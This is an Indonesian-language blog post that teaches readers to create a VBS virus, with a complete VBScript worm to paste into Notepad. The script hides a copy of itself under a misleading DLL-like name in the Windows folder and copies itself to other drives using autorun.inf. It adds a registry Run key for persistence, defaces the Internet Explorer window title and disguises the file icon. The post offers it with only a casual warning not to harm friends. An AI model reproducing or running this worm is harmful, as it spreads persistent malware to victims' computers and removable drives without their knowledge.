Membuat Virus VBS

Oleh dod

Thursday, 10 October 2013

Bagikan :

Tweet

'

D-oddyShare ~ Hello sobat Mungkin sobat bertanya-tanya kenapa saya sekarang jarang membuat postingan , baru alasanya , saya sedang sibuk dengan urusan di luar sana , kali ini saya akan share sedikit ilmu baru nhy sob, ya semoga aja bisa membantu , kali ini saya akan share bagaimana cara membuat virus VGB ? . mungkin sebagian dari sobat sudah mengenal apa itu virus VBS, Virus VBS adalah virus sederhana menggunakan bahasa Program (Visual Basic) yang bisa merusak dari tingkat kerusakan rendah sampai tinggi. Virus ini hanya bermodalkan pengetahuan akan bahasa Program dan aplikasi Notepad. Berikut adalah cara pembuatannya:


1. Buka Notepad


2. Copy dan Paste skript Berikut:

------------------------------Skript------------------------------
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
---------------------------akhir skript---------------------------

itu dia sobat scriptnya , tapi penggunaanya tolong di kontrol ya sob , jangan sampai menyiksa teman sobat sendiri ,

~ Thankz To zeke-hack

Tag : It information